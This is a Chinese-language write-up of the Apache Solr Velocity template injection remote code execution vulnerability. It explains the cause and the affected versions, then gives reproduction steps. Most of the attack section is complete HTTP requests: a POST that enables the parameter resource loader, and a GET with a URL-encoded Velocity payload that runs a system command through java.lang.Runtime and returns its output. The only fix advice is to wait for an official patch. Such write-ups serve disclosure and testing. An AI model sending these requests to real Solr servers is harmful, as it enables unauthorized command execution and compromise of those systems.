漏洞背景
近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞,可进行远程代码执行。
漏洞成因
Apache-Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的 params.resource.loader.enabled
用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是 false。攻击者通过POST请求直接将params.resource.loader.enabled
修改为true。经过精心构造代码发送GET请求造成远程代码执行漏洞
影响版本
影响Apache Solr多个版本,包括最新版 8.2.0
漏洞复现
获取core名称
首先需要获取solr服务中的core名称,才可以执行攻击,可以从logging和core admin中获取
加载指定资源
通过POST请求把params.resource.loader.enabled
设置为True,此时用户就可以加载指定资源,也就是构造一个能执行命令的恶意请求。
POST /solr/core名称/config HTTP/1.1
Host: ip:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ip/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
远程命令执行
精心构造恶意代码,通过GET请求就可以远程执行命令了
GET /solr/core名称/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://ip/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
修复建议
目前,官方尚未发布相关漏洞的安全补丁,请及时关注官方更新
官网链接
参考链接
https://github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_template
https://nosec.org/home/detail/3113.html